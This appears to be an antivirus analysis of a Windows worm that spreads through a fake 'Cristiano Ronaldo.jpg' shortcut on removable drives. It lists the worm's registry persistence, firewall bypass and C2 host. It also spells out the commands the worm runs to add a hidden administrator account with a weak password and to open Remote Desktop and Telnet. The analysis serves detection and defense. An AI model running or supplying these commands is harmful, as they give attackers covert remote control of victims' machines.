Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'LoadOrderVerificai' = '%WINDIR%\iexplorer.exe'
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\TermService] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\TlntSvr] 'Start' = '00000002'
Creates the following files on removable media:
- <Drive name for removable media>:\Cristiano.jpg
- <Drive name for removable media>:\Cristiano Ronaldo.jpg.lnk
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\tlntsvr.exe' = '<SYSTEM32>\tlntsvr.exe:*:Enabled:iexplorer'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\iexplorer.exe' = '<SYSTEM32>\iexplorer.exe:*:Enabled:iexplorer.exe'
Creates and executes the following:
- '<SYSTEM32>\iexplorer.exe'
Executes the following:
- '<SYSTEM32>\sc.exe' config TermService start= auto
- '<SYSTEM32>\net1.exe' start TermService
- '<SYSTEM32>\regsvr32.exe' /s <SYSTEM32>\tlntsvrp.dll
- '<SYSTEM32>\sc.exe' start tlntsvr
- '<SYSTEM32>\tlntsvr.exe'
- '<SYSTEM32>\reg.exe' add "HKLM\software\microsoft\Windows\CurrentVersion\Run" /v LoadOrderVerificai /t REG_SZ /d "%WINDIR%\iexplorer.exe" /f
- '<SYSTEM32>\netsh.exe' firewall add portopening TCP 3389 "Romet Desktop"
- '<SYSTEM32>\net1.exe' user merissi /active:yes
- '<SYSTEM32>\netsh.exe' firewall add portopening TCP 3389 "Bureau р distance"
- '<SYSTEM32>\reg.exe' add "hklm\system\currentcontrolset\control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
- '<SYSTEM32>\reg.exe' add "hklm\system\currentcontrolset\control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\software\microsoft\windows NT\CurrentVersion\Winlogon\specialaccounts\UserList" /v merissi /t REG_DWORD /d 0 /f
- '<SYSTEM32>\net1.exe' user merissi 123456 /add
- '<SYSTEM32>\netsh.exe' firewall set service type = remotedesktop mode = enable
- '<SYSTEM32>\cmd.exe' /c %WINDIR%\merissi.bat
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List" /v "<SYSTEM32>\iexplorer.exe" /t REG_SZ /d "<SYSTEM32>\iexplorer.exe:*:Enabled:iexplorer.exe" /f
- '<SYSTEM32>\net1.exe' localgroup administrateurs merissi /add
- '<SYSTEM32>\netsh.exe' firewall set allowedprogram <SYSTEM32>\tlntsvr.exe iexplorer enable
- '<SYSTEM32>\sc.exe' config tlntsvr start= auto
- '<SYSTEM32>\net1.exe' localgroup "Utilisateurs du Bureau р distance" merissi /add
- '<SYSTEM32>\net1.exe' localgroup %USERNAME%s merissi /add
- '<SYSTEM32>\net1.exe' localgroup "Remote desktop users" merissi /add
Modifies file system :
Creates the following files:
- %WINDIR%\merissi.bat
- <SYSTEM32>\SchedLgUt.Txt
- <SYSTEM32>\iexplorer.exe
- <SYSTEM32>\Grpvinc.cpe
Deletes the following files:
- <Drive name for removable media>:\Cristiano Ronaldo.jpg.lnk
Network activity:
Connects to:
- 'any':58008
- 'sa####02.no-ip.biz':58008
UDP:
- DNS ASK sa####02.no-ip.biz
Miscellaneous:
Searches for the following windows:
- ClassName: '#32770' WindowName: 'Gestionnaire des t?ches de Windows'
- ClassName: '#32770' WindowName: '(null)'
- ClassName: 'SysListView32' WindowName: 'processus'
- ClassName: 'TApplication' WindowName: '<Virus name>'
- ClassName: 'MS_WINHELP' WindowName: '(null)'
- ClassName: 'TApplication' WindowName: 'iexplorer'